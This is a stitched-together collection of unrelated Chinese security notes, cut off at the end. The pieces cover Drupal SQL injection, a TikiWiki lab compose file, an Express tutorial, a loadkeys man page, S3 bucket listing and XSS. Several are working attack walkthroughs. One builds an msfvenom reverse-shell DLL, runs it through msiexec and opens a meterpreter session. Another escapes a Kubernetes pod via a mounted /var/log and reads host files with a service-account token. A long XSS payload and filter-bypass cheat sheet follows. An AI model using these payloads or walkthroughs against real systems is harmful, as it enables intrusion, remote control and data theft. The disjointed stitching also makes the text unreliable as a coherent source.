查询的数组数据做了一个错误的假设。这里是原始代码: ```php foreach ($data as $i => $value) { [...] $new_keys[$key . '_' . $i] = $value; } ``` 你能够之处错误(我都不能)嘛?开发者的假设为,数组数据始终含有数字键,例如`0, 1, 2`以及其他(`$i`的值)。并且所以它们将`$key`变量连接到`$i`,并且使其等于`value`。这里是来自 Drupal 的`db_query`函数,通常的查询的样子。 ```php db_query("SELECT * FROM {users} WHERE name IN (:name)", array(':name'=>array('user1','user2'))); ``` 这里,`db_query`函数接受数据库查询`SELECT * FROM {users} WHERE name IN (:name)`,以及值的数组来替换查询中的占位符。在 PHP 中,当你将数组声明为`array('value','value2',value3')`,它实际上创建了`[0 =>'value',1=>'value2',2=>'value3']`,其中每个值都可以通过数字键来访问。所以这里,`:name`变量被数组中的值替换。你从中获取到的东西是: ```sql SELECT * FROM users WHERE name IN (:name_0, :name_1) ``` 到目前为止很好。当你获取不含有数字键的数组时,问题就来了,像这样: ```php db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test) -- ' => 'user1','test' => 'user2'))); ``` 这里,`:name`是个数组,它的键是`'test) –', 'test'`。你可以看到为什么嘛?当 Drupal 收到它并且处理数组来创建查询时,我们会得到: ```sql SELECT * FROM users WHERE name IN (:name_test) -- , :name_test) ``` 看出这是为什么可能需要一些技巧,所以让我们过一遍它。基于上面描述的`foreach`,Drupal 会遍历数组中的每个元素。所以,对于第一个迭代`$i = test) –`以及`$value = user1`。现在,`$key`是查询中的`(:name)`,并且和`$i`组合之后,我们得到了`name_test) –`。对于第二个迭代,` $i = test`并且`$value = user2`,所以组合`$key`和`$i`之后,我们得到了`name_test`,结果是个`:name_test`的占位符,它等于`user2`。 现在,知道这些之后,Drupal 包装 PHP PDO 对象的事实就登场了,因为 PDO 允许多重查询。所以,攻击者能够传递恶意输入,例如实际的 SQL 查询来为任何的数组键创建管理员用户,它作为多重查询解释和执行。 > 重要结论 > SQLi 似乎更难于发现,至少基于为了这本书搜索的报告。这个例子很有意思,因为它并不是提交单引号和截断查询。反之,它全部关于 Drupal 的代码如何处理传给内部函数的数组。这并不易于通过黑盒测试发现(其中你并不接触任何代码)。这里的重要结论是,寻找机会来修改传给站点的输入格式,所以在 URL 接受`?name`作为参数的地方,尝试传入类似`?name[]`的数组,来观察站点如何处理。它也可能不会造成 SQLi,但是可能会导致其他有趣的行为。 ## 总结 SQLi 对站点来说十分重要和危险。寻找这一类型的漏洞可能导致站点的完整的 CURD 权限。在其他情况下,它可能扩展为远程代码执行。Drupal 的例子实际上是这些例子之一,它们证明了攻击者可以通过漏洞来执行代码。在寻找它们的时候,不要仅仅留意向查询传递未转义单引号和双引号的可能性,也要注意以非预期方式提供数据的可能性,例如在 POST 数据中提交数组参数。
sec-knowleage
version: '3' services: web: image: vulhub/tikiwiki:21.1 entrypoint: - bash - /docker-entrypoint.sh depends_on: - db ports: - "8080:80" environment: - TIKI_DB_DRIVER=pdo - TIKI_DB_HOST=db - TIKI_DB_USER=root - TIKI_DB_PASS=root - TIKI_DB_NAME=tikiwiki volumes: - "./docker-entrypoint.sh:/docker-entrypoint.sh" db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=root - MYSQL_DATABASE=tikiwiki ports: - "3306:3306"
sec-knowleage
# Express > Express 基于 Node.js 平台,快速、开放、极简的 web开发框架(后端) 官网首页上,我们一眼就能看到 API 这个关键字,那么 API 是用来做什么的呢? ### 什么是API API ( Application Program Interface )是应用开发接口,简称接口, 而 Express 就是用来制作后台 API 的。 ### Express使用的语法 前端代码,因为有 Babel 的支持,可以全部采用 ES6来写。 后台代码,我们会让它直接运行在 Nodejs上 (eg. java运行在jvm上) 我们在 [Node.green](http://node.green/) 网站上,可以看到新版的 Nodejs (7.0 版本以上)对于 ES6 的支持已经到了99% 。所以,不用 Babel 我们也可以直接使用 ES6 语法,但是唯一要注意的就是不能用 import ( 也就是说 nodejs 是不支持 ES6 模块语法的),我们的后台代码暂时需要用 require 来替代 import 。require 用的是 commonjs 模块语法,这个是 Nodejs 原生支持的。 **总结**: 可以用 ES6,别用 import 就好了 **小贴士**:Node.green 是一个查看 Node 对 ES6 支持度的网站,网址为 http://node.green/ ### 使用 现在我们用 express 实现 hello World 来进行对 Express 的学习 #### 初始化项目 首先我们新建文件夹,并进入 ``` mkdir express-hello && cd express-hello ``` 然后把这个文件夹初始化为一个 nodejs 项目 ``` npm init -y ``` 这样文件夹内就会生成一个 package.json 文件,有了这个文件,我们这个文件夹就是一个 Nodejs 项目了 #### 装包 ``` npm install express --save ``` **小贴士**:如果包名和项目名相同会报错,解决方法就是修改 package.json 文件里的`name`与包名不同就可以了 #### 创建一个 Express 应用 在项目文件夹下,创建 index.js文件,将下面代码放入 ```js const express = require('express') //导入 express const app = express() //创建一个名为 app 的应用 app.listen(5000,() => console.log('running on port 5000...')) //在 5000 端口 监听 app 并在控制台输出 running on port 5000... ``` 这样我们就自己动手实现了一个`服务器( server )` 。服务器(这里指的是软件)的作用是,始终监听客户端的请求,或者说前端不给服务器发信号,服务器 就什么都不做,但是也不死,只是去执行,或者就叫始终在监听(listen)。 上面的 5000 指的是 `5000端口 port` ,一个服务器好比一座大厦,有很多个门,5000 是其中一个门的门牌号。 这里使用了回调函数,方便我们看出输出。一般回调函数的使用场合就是,之前的一个操作耗时比较长(或者是一直监听事件,例如 onClick())这样的情况下才使用回调函数。 #### 后台运行 我们写的是一个 nodejs 程序,这个执行过程跟浏览器已经没有关系了,所以必须用 node 命令去执行 ##### 启动程序 ``` node index.js ``` ##### 判断是否运行成功 ``` $ node index.js running on port 5000... ``` 如果运行后输出上面内容,现在我们的服务器已经运行起来了,它就一直监听端口,根据端口的请求来执行操作。这个请求是由客户端完成的。 **注意**:常见错误 如果出现下面错误,说明:本地已经有一个服务运行在5000端口了,地址冲突, ``` Error:listen EADDRINUSE :::5000 //EADDRINUSE:'地址已经被占用' ``` 解决方法:可以修改端口或者停掉之前的服务 #### 客户端请求 现在我们需要的客户端请求是,一个 ``` GET / ``` 同时这个请求,必须来自5000端口。 可以发请求的方式不唯一,可以用浏览器地址栏,可以用页面的 form 发,也可以用 axios 发,后者使用专门的 API 调试工具 curl/postman来发。 现在,我们就用浏览器的地址栏来发请求。地址栏中输入 ``` http://localhost:5000/ ``` #### 添加 GET 接口 我们在上面的 index.js 中,app.listen 语句的上面,添加如下代码: ```js app.get('/', () => { console.log('request come in...') }) ``` - get 是一个 http 请求的动词 ,类似的还有 post/delete/put - / 是一个路径 ,英文 path 一个动词加一个路径,这样就组成一个 HTTP 请求 ,公式如下 ```js request = verb + path + data ``` 这里的请求,是服务器端接收请求 请求之后,会发现浏览器里没有任何输出,这是因为,我们的 express 服务器根本就没有给前台返回任何字符串,回调函数中的 `console.log()` 只能把字符串打印到后台。 #### 反馈给前端 前面的回调函数中,console.log 打印字符串,只是出现在后端(服务器端)。前端得不到任何反馈。所以,我们可以把代码做如下修改 ```js app.get('/', function(req, res){ res.send('Hello World'); }) ``` - `req` 是 request **请求** 的简写,` res`是 response **响应** 的简写 - `res.send('Hello World')`的作用是从后端向前端浏览器返回字符串 `Hello World` #### 启动项目 ``` node index.js ``` 启动后如果输出`running on port 5000...`,我们就可以在浏览器上发送请求了 ``` http://localhost:5000/ ``` 在浏览器打开上面地址,如果显示`Hello World`,说明请求发送成功 ### nodemon高效开发 每次修改代码我们都要重启一次`node index.js`,我们可以利用`nodemon`。对 node 应用目录中的各个文件进行监测,若文件改动,nodemon 会自动重启你的 node 应用,也可以提高我们的写代码效率。 #### 装包 首先我们利用 npm 进行装包 ``` npm i nodemon -g ``` #### 启动项目 用 nodemon 启动项目 ``` nodemon idnex.js ``` ### 附: hello World 全部代码 #### 直接查看 - [点击查看代码](https://github.com/l552177239/express-hello/blob/master/index.js) #### 在本地运行代码 首先克隆项目到本地 ``` git clone https://github.com/l552177239/express-hello.git ``` 将上面两个文件都放在一个 express-hello 文件夹中,然后执行下面代码 ``` cd express-hello npm install node index.js ``` 代码就运行起来了 ### 参考 - Express官网:[点击进入](http://www.expressjs.com.cn/) - 阮一峰教程: [点击进入](http://javascript.ruanyifeng.com/nodejs/express.html)
sec-knowleage
**注:**请多喝点热水或者凉白开,身体特别重要。 本季补充本地DLL加载 **Msiexec简介:** Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 2003,Windows 7等。 **说明:**Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。 ### 基于白名单Msiexec.exe配置payload: **注:x64 payload** ```bash msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f dll > Micropoor_rev_x64_53.dll ``` ### 配置攻击机msf: **注:x64 payload** ```bash msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 ``` ![](media/62736d164fb64b1462810cfea7bd472c.jpg) ### 靶机执行: ```bash msiexec /y C:\Users\John\Desktop\Micropoor_rev_x64_dll.dll ``` ![](media/b8cbb9334f2281d8cd8f70052c2a02a9.jpg) ```bash msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (206403 bytes) to 192.168.1.5 [*] Meterpreter session 26 opened (192.168.1.4:53 ‐> 192.168.1.5:11543) at 2019‐01‐20 09:45:51 ‐0500 meterpreter > getuid Server username: John‐PC\John meterpreter > getpid Current pid: 7672 meterpreter > ``` ![](media/84fb0dd629aae878607221e385dfff34.jpg) > Micropoor
sec-knowleage
--- title: Bucket Object 遍历 --- <center><h1>Bucket Object 遍历</h1></center> --- 在 s3 中如果在 Bucket 策略处,设置了 s3:ListBucket 的策略,就会导致 Bucket Object 遍历 </br> <img width="1000" src="/img/1652254813.png"></br> 将 Key 里的值拼接到目标站点后,就能访问该 Bucket 里相应的对象了 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月11日" } } </script>
sec-knowleage
--- title: k8s 下挂载 /var/log 逃逸 --- <center><h1>k8s 下挂载 /var/log 逃逸</h1></center> --- ## 0x00 前言 这里用单纯的挂载/var/log 来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。 - 挂载了/var/log - 容器是在一个 k8s 的环境中 - 当前 pod 的 serviceaccount 拥有 get|list|watch log 的权限 ## 0x01 环境搭建 ```bash git clone https://github.com/Metarget/metarget.git cd metarget/ pip3 install -r requirements.txt ./metarget gadget install k8s --version 1.16.5 ./metarget cnv install mount-var-log ``` 或者在 k8s 中执行以下配置文件 ```yaml apiVersion: v1 kind: ServiceAccount metadata: name: logger --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: user-log-reader rules: - apiGroups: [""] resources: - nodes/log verbs: ["get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: user-log-reader roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: user-log-reader subjects: - kind: ServiceAccount name: logger namespace: default --- apiVersion: v1 kind: Pod metadata: name: escaper spec: serviceAccountName: logger containers: - name: escaper image: danielsagi/kube-pod-escape volumeMounts: - name: logs mountPath: /var/log/host volumes: - name: logs hostPath: path: /var/log/ type: Directory ``` ## 0x02 漏洞检测 前提是处于 k8s 环境下,漏洞检测才有意义 ```bash find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted." ``` ## 0x03 漏洞复现 进入容器 ```bash kubectl exec --stdin --tty escaper -- /bin/bash ``` 这里的 /var/log 目标挂载到了 /var/log/host 下,创建软链接 ```bash cd /var/log/host ln -s / ./root_link ``` 这时就可以访问到 node 节点上的文件了 ```bash token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k https://172.17.0.1:10250/logs/root_link/ -H "Authorization: Bearer $token" ``` <br> <img width="1000" src="/img/1650013099.png"></br> 或者直接使用脚本,一键窃取敏感文件 https://github.com/danielsagi/kube-pod-escape <br> <img width="1000" src="/img/1650013123.png"></br> <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
.TH LOADKEYS 1 "09 Oct 1997" "Console tools" "Linux User's Manual" .SH NAME loadkeys \- 调入键盘翻译表 .SH "总览 (SYNOPSIS)" .B loadkeys [ .I \-d \-\-default .B ] [ .I \-h \-\-help .B ] [ .I \-q \-\-quiet .B ] [ .I \-v \-\-verbose .B [ .I \-v \-\-verbose .B ]...] [ .I \-m \-\-mktable .B ] [ .I \-c \-\-clearcompose .B ] [ .I \-s \-\-clearstrings .B ] [ filename... ] .SH "描述 (DESCRIPTION)" .B Loadkeys 读取 由 .I filename... 指定的 文件 内容. 它的 主要目的 是 为 控制台 调入 内核键盘映射表(kernel keymap). .SH "设为缺省 (RESET TO DEFAULT)" 如果 指定了 .I -d (或 .I --default ) 选项, .B loadkeys 调入 缺省的 键盘映射 文件 .I defkeymap.map, 可能 在 .I /usr/share/keymaps 或 .IR /usr/src/linux/drivers/char 目录 下. (前者 可能是 用户定义的, 而 后者 是 针对 PC 机 qwerty 键盘 的 映射 \- 也许 你 不需要.) 某些情况下, 如果 遇上 奇怪的 键盘映射 (把 减号 '\-' 弄成了 某种 陌生的 修饰组合), 你 只要 轻松的 键入 `loadkeys defkeymap' 就 可以了. (译注: qwerty 是一种常用的 PC 键盘布局, 由 键盘 字母区 左上角 的 连续 横向 六个 字母键 得名) .SH "调入内核键盘映射 (KERNEL KEYMAP)" .B loadkeys 的 主要作用 是 调入 或 修改 键盘驱动程序 的 翻译表. 当 指出了 文件名 的 时候, 标准输入 用 短横线(\-) 表示. 如果 没有 指出 文件名, loadkeys 就 从 标准输入 读取 数据. .LP 对于 许多 国家 和 各种 键盘类型, 系统 已经 提供了 对应的 键盘映射表, 只需 用一条 诸如 `loadkeys uk' 的 命令 就可以 满足 需要. 而且 很容易 设计 自己的 键盘映射表. 用户 必须 识别 哪些 符号 属于 哪些 键. 可以 用 .BR showkey (1) 命令 查出 键值(keycode), 手册页 .BR keymaps (5) 对 键盘映射表 格式 做了 说明, 也可以 参考 .BR dumpkeys (1) 命令 输出 的 内容. .SH "调入内核 ACCENT 表" 如果 输入文件 没有 定义 任何 组合键(compose key), 内核 accent 表 就 保持 不变, 除非 使用了 .I -c (或 .I --clearcompose ) 选项, 此时 内核 accent 表 被 清空. 如果 输入文件 定义了 组合键, 那么 清除 原有 定义, 换成 新的 定义. 内核 accent 表 是 一组 表项 (缺省为 68 项), 用来 描述 区分符(dead diacritical sign) 和 组合键 怎么 工作. 例如, 这行 .LP .RS compose ',' 'c' to ccedilla .RE .LP 表示 <ComposeKey><,><c> 组合 产生 <ccedilla>. 使用 命令 `dumpkeys \-\-compose\-only' 能够 查看 当前 accent 表. (译注: Compose 键 可以 用 dumpkeys 命令 查出, 我的 系统上 是 ctrl+句号, 因此 相继 按下 'ctrl-.', ',', 'c' 就可以 产生 上述的 'ccedilla'.) .SH "调入内核字符串表 (KERNEL STRING TABLE)" 选项 .I -s (或 .I --clearstrings ) 用于 清除 内核字符串表. 如果 不使用 这个 选项, .B loadkeys 只会 添加 或 调换 字符串, 而不是 清除 它们. (因而 需要 选项 \-s 实现 友好定义 状态.) 内核字符串表 是 一组 命名 字符串, 就象 F31. 例如, 你 可以 使 功能键 F5 (普通 PC 键盘上 有) 产生 字符串 `Hello!', 使 Shift+F5 产生 `Goodbye!': .LP .RS keycode 63 = F70 F71 .br string F70 = "Hello!" .br string F71 = "Goodbye!" .RE .LP 把 这三行 加进 键盘映射表 即可. 缺省的 功能键 定义 大多是 来自 VT100 终端 的 转码序列 (escape sequence). .SH "创建内核源文件表 (KERNEL SOURCE TABLE)" 如果 给出了 .I -m (或 .I --mktable ) 选项, .B loadkeys 在 标准输出 产生 一个文件, 可以 用做 .I /usr/src/linux\%/drivers\%/char\%/defkeymap.c, 它 定义了 内核的 缺省 键盘编联 (但 不影响 当前 键盘映射). .SH "选项 (OPTION)" .TP .I \-h \-\-help 在 标准错误 上 显示 版本号 和 简短 的 用法, 然后 结束. .TP .I \-v \-\-verbose 显示 更新 细节, 用的越多, 细节越细. .TP .I \-q \-\-quiet 不要 显示 一般信息. .TP .I \-c \-\-clearcompose 清除 内核的 组合键表 (就是 accent 表). 如果 没有 使用 这个选项, 而且 输入文件 没有 定义 组合键, 内核组合键表 保持 不变. .TP .I \-s \-\-clearstrings 清除 内核的 字符串表. 如果 没有 使用 这个选项, .B loadkeys 将 添加 或 调换 字符串, 而不是 删除 它们. .SH "文件 (FILE)" .I /usr/lib/kbd/keymaps/ 键盘映射文件 的 缺省目录. .I /usr/lib/kbd/keymaps/defkeymap.kmap 用 .I \-d 选项 调入的 缺省 键盘映射文件. (译注: 对于 比较 新的 系统 请查看 /usr/lib/kbd/keymaps/i386/qwerty/, 注意 这里 最后面的 两个 目录, 前者 是 系统平台, 后者 是 键盘类型) .SH BUGS 任何人 只要有 对 .I /dev/console 的 读访问权 就能够 运行 .B loadkeys , 从而 改变 键盘布局, 使 它 可能 无法使用. 键盘翻译表 由 所有 虚拟控制台 共用, 所以 任何 对 键盘编联 的 改变 会 同时 影响 所有的 虚拟控制台. 注意, 由于 改变 能够 影响 所有的 虚拟控制台, 因此 它 比 用户的 会话期 更长. 这意味着 即使 在 登录 提示 阶段, 键值编联 也会 影响 用户 的 使用. 缺省的 键盘映射 应该 编译在 内核中. ( .IR /usr/src/linux/drivers/char/defkeymap.c ). .SH "另见 (SEE ALSO)" .BR dumpkeys (1), .BR kbd_mode (1), .BR keymaps (5). .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 第一版 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# XSS <p align="center"> <img src="../../../../../assets/img/banner/xss.jpg" width="65%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [XSS 插入绕过一些方式总结](https://blog.csdn.net/qq_29277155/article/details/51320064) - [XSS 总结](https://xz.aliyun.com/t/4067) - [WAF的 XSS 绕过姿势](https://ha.cker.in/Article/6239) - [他山之石 | 对 XSS 的一次深入分析认识](https://www.freebuf.com/articles/web/195507.html) - [minimaxir/big-list-of-naughty-strings](https://github.com/minimaxir/big-list-of-naughty-strings) - [深入理解浏览器解析机制和 XSS 向量编码](http://bobao.360.cn/learning/detail/292.html) - [csp 与 bypass 的探讨(译文)](http://wutongyu.info/csp-2015/) - [XSS绕过某盾](https://xz.aliyun.com/t/6652) - [xss编码绕过原理以及从中学习到的几个例子](https://0verwatch.top/xss-encodeorder.html) - [探索XSS利用编码绕过的原理](https://saucer-man.com/information_security/103.html) - [通过XSS窃取localStorage中的JWT](http://www.arkteam.net/?p=4453) - [坑死我的HTTPOnly](http://gv7.me/articles/2017/Session-Cookie-without-Secure-flag-set/) - [WAF攻防实践(4)](https://mp.weixin.qq.com/s/AS1cpMqr1WkuoLmRld_p0w) - [实战|通过恶意 pdf 执行 xss 漏洞](https://mp.weixin.qq.com/s/D1XFNR-4qg9GUkZeyMZsyw) - [SVG based Stored XSS](https://prashantbhatkal2000.medium.com/svg-based-stored-xss-ee6e9b240dee) - [XSS With Hoisting](https://brutelogic.com.br/blog/xss-with-hoisting/) - [Paragraph Separator(U+2029) XSS](https://www.hahwul.com/2022/02/06/u-2029-xss/) **相关案例** - [BugBounty:Twitter 蠕虫 XSS](https://xz.aliyun.com/t/5050) - [T00LS帖子正文XSS](https://www.hackersb.cn/hacker/235.html) - [The adventures of xss vectors in curious places](https://github.com/Dliv3/Venom) - [Avast 杀毒软件中 5000 美元的 XSS 漏洞](https://nosec.org/home/detail/3118.html) - [组合拳出击-Self型XSS变废为宝](https://gh0st.cn/archives/2018-08-28/1) - [Reflected XSS in graph.facebook.com leads to account takeover in IE/Edge](https://ysamm.com/?p=343) - [XSS attacks on Googlebot allow search index manipulation](https://www.tomanthony.co.uk/blog/xss-attacks-googlebot-index-manipulation/) - [挖洞经验 | 看我如何发现亚马逊网站的反射型XSS漏洞](https://www.freebuf.com/articles/web/175606.html) - [How I alert(1) in Azure DevOps](https://5alt.me/2019/02/xss-in-azure-devops/) - [Stored XSS to Organisation Takeover](https://infosecwriteups.com/stored-xss-to-organisation-takeover-6eaaa2fdcd5b) - [[BugBounty] XSS with Markdown — Exploit & Fix on OpenSource](https://lethanhphuc-pk.medium.com/bugbounty-xss-with-markdown-exploit-fix-on-opensource-1baecebe9645) - markdown xss 案例 - [BountyHunterInChina/重生之我是赏金猎人(五)-多手法绕过WAF挖掘某知名厂商XSS.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E4%BA%94)-%E5%A4%9A%E6%89%8B%E6%B3%95%E7%BB%95%E8%BF%87WAF%E6%8C%96%E6%8E%98%E6%9F%90%E7%9F%A5%E5%90%8D%E5%8E%82%E5%95%86XSS.pdf) - [BountyHunterInChina/重生之我是赏金猎人(七)-看我如何从FUZZ到XSS在SRC官网偷走你的个人信息.pdf](https://github.com/J0o1ey/BountyHunterInChina/blob/main/%E9%87%8D%E7%94%9F%E4%B9%8B%E6%88%91%E6%98%AF%E8%B5%8F%E9%87%91%E7%8C%8E%E4%BA%BA(%E4%B8%83)-%E7%9C%8B%E6%88%91%E5%A6%82%E4%BD%95%E4%BB%8EFUZZ%E5%88%B0XSS%E5%9C%A8SRC%E5%AE%98%E7%BD%91%E5%81%B7%E8%B5%B0%E4%BD%A0%E7%9A%84%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF.pdf) **相关工具** - [s0md3v/XSStrike](https://github.com/s0md3v/XSStrike) - XSS 检测工具,效果一般 - 依赖安装 ```bash pip3 install -r requirements.txt wget https://github.com/mozilla/geckodriver/releases/download/v0.24.0/geckodriver-v0.24.0-linux64.tar.gz mkdir /usr/local/temp mv geckodriver /usr/local/temp PATH=$PATH:/usr/local/temp/ ``` - [Usage](https://github.com/s0md3v/XSStrike/wiki/Usage#scan-a-single-url) ```bash python3 xsstrike.py -u "http://example.com/search.php?q=query" python3 xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer python3 xsstrike.py -u "http://example.com/search.php?q=query" --crawl ``` - [faizann24/XssPy](https://github.com/faizann24/XssPy) - Web 应用 XSS 扫描器 - [XSS Fuzzer](https://xssfuzzer.com/fuzzer.html) - payload 生成器 - [hahwul/dalfox](https://github.com/hahwul/dalfox) - 一款基于 Golang 开发的 XSS 参数分析和扫描工具 ```bash cp dalfox /usr/bin/ chmod +x /usr/bin/dalfox dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff -b https://hahwul.xss.ht # 单一目标模式 dalfox file url.txt # 多目标模式,从文件读取扫描目标 cat urls_file | dalfox pipe -H "AuthToken: bbadsfkasdfadsf87" # 管道模式 echo "vulnweb.com" | waybackurls | grep "=" | dalfox pipe -b https://hahwul.xss.ht ``` **xss 平台** - **开源平台** - [firesunCN/BlueLotus_XSSReceiver](https://github.com/firesunCN/BlueLotus_XSSReceiver) - XSS 平台 CTF 工具 Web 安全工具 - [keyus/xss](https://github.com/keyus/xss) - php 写的个人研究测试用的 xss cookie 攻击管理平台 - [ssl/ezXSS](https://github.com/ssl/ezXSS) - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting. - **在线平台** - http://xssye.com/index.php - **beef** - 相关文章 - [浏览器攻击框架 BeEF Part 1](https://www.freebuf.com/articles/web/175755.html) - [浏览器攻击框架 BeEF Part 2:初始化控制](https://www.freebuf.com/articles/web/176139.html) - [浏览器攻击框架 BeEF Part 3:持续控制](https://www.freebuf.com/articles/web/176550.html) - [浏览器攻击框架 BeEF Part 4:绕过同源策略与浏览器代理](https://www.freebuf.com/articles/web/176873.html) - [浏览器攻击框架 BeEF Part 5:Web应用及网络攻击测试](https://www.freebuf.com/articles/web/176912.html) 默认端口为 3000,默认路径是`/ui/authentication`,默认用户名和密码 beef **在线测试** - http://demo.testfire.net/ - https://juice-shop.herokuapp.com/#/search - https://xsschop.chaitin.cn/demo/ **靶场** - [XSS 挑战-WalkThrough](../靶场/XSS挑战-WalkThrough.md) **payload** - [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) - [ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [masatokinugawa/filterbypass](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet) - [bugbounty-cheatsheet/cheatsheets/xss.md](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md) - [aurebesh.js - Translate JavaScript to Other Writing Systems](https://aem1k.com/aurebesh.js/) - [cujanovic/Markdown-XSS-Payloads](https://github.com/cujanovic/Markdown-XSS-Payloads) - XSS payloads for exploiting Markdown syntax **Tips** - **Firefox 关闭 xss 过滤器** about:config 把 rowser.urlbar.filter.javascript 改为 false - **chrome 关闭 xss 过滤器** 带参数启动 --args --disable-xss-auditor --- ## 基础 ### 什么是 XSS 跨站点脚本 (XSS) 攻击是一种注入,Web 程序代码中对用户提交的参数未做过滤或过滤不严,导致参数中的特殊字符破坏了 HTML 页面的原有逻辑,攻击者可以利用该漏洞执行恶意 HTML/JS 代码、构造蠕虫、篡改页面实施钓鱼攻击、以及诱导用户再次登录,然后获取其登录凭证等。 XSS 攻击有 3 种类型: - 反射型 XSS : 通过网络浏览器从另一个网站运行恶意脚本的攻击 - 存储型 XSS : 存储型是将注入的脚本永久存储在目标服务器上的攻击 - 基于DOM的XSS : 一种在 DOM 结构中而不是在 HTML 代码中触发的 XSS。 ### XSS Payload #### 最基础的 ```html <script>alert(1)</script> <svg/onload=alert(1)> <img src=x onerror=alert(1)> ``` #### 在标签内部的 ```html " onmouseover=alert(1) " autofocus onfocus=alert(1) "><script>alert(1)</script> '><script>alert(1)</script> </tag><script>alert(1)</script> "></tag><script>alert(1)</script> </script><script>alert(1)</script> ``` 示例1 ```html <input id="keyword" type="text" name="q" value="example"> <input id="keyword" type="text" name="q" value="" onmouseover=alert(1)"> ``` 示例2 ```html <input id="keyword" type="text" name="q" value="example"> <input id="keyword" type="text" name="q" value=""><script>alert(1)</script> ``` 示例3 ```html <a href="https://target.com/1?status=example">1</a> <a href="https://target.com/1?status="></a><script>alert(1)</script>">1</a> ``` 示例4 ```html <script> var sitekey = 'example'; </script> <script> var sitekey = '</script><script>alert(1)</script>'; </script> ``` **通过注释转义的** ```html --><script>alert(1)</script> <!-- --><script>alert(1)</script> --> ``` **在 script 中** ```js '-alert(1)-' '/alert(1)// ``` 示例 ```html <script> var sitekey = 'example'; </script> <script> var sitekey = ''-alert(1)-''; </script> ``` **在 script 中,但输出在字符串分隔值内,引号被反斜杠转义** ```js \'alert(1)// ``` 示例 ```html <script> var sitekey = 'example'; </script> <!-- 使用 -alert(1)- 的结果 --> <script> var sitekey = '\'-alert(1)-\''; </script> <!-- 绕过反斜杠转义 --> <script> var sitekey = '\\'alert(1)//'; </script> ``` **一行 JS 内多个值** ```js /alert(1)//\ /alert(1)}//\ ``` 示例 ```html <script> var a = 'example'; var b = 'example'; </script> <script> var a = '/alert(1)//\'; var b = '/alert(1)//\'; </script> ``` **条件控制语句内的值** ```js '}alert(1);{' \'}alert(1);{// ``` 示例 ```html <script> var greeting; var time = 1; if (time < 10) { test = 'example'; } </script> <script> var test; var time = 1; if (time < 10) { test = ''}alert(1);{''; } </script> ``` **反引号内的值** ```js ${alert(1)} ``` 示例 ```html <script> var dapos = `example`; </script> <script> var dapos = `${alert(1)}`; </script> ``` #### 用在其他功能点 **文件名** ``` "><svg onload=alert(1)>.png ``` **exif 数据** ```bash exiftool -Artist='"><script>alert(1)</script>' test.jpeg ``` **SVG** ```svg <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ``` **markdown** ``` [Click Me](javascript:alert('1')) ``` **xml** ```xml <a:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</a:script> ``` #### pyscript - https://github.com/pyscript/pyscript ```script <link rel="stylesheet" href="https://pyscript.net/alpha/pyscript.css" /> <script defer src="https://pyscript.net/alpha/pyscript.js"></script> <py-script>'\74img/src/onerror\75alert(1)\76'</py-script> ``` --- ## 绕过技巧 1. 使用无害的 payload,类似`<b>,<i>,<u>`观察响应,判断应用程序是否被 HTML 编码,是否标签被过滤,是否过滤 `<>` 等等; 2. 如果过滤闭合标签,尝试无闭合标签的 payload `<b,<i,<marquee` 观察响应; ### 长度限制 绕过长度限制 ```js "onclick=alert(1)// "><!-- --><script>alert(xss);<script> ``` ### 内容检测 #### 换行 ```js <img src=1 onerror =alert(1) ``` #### 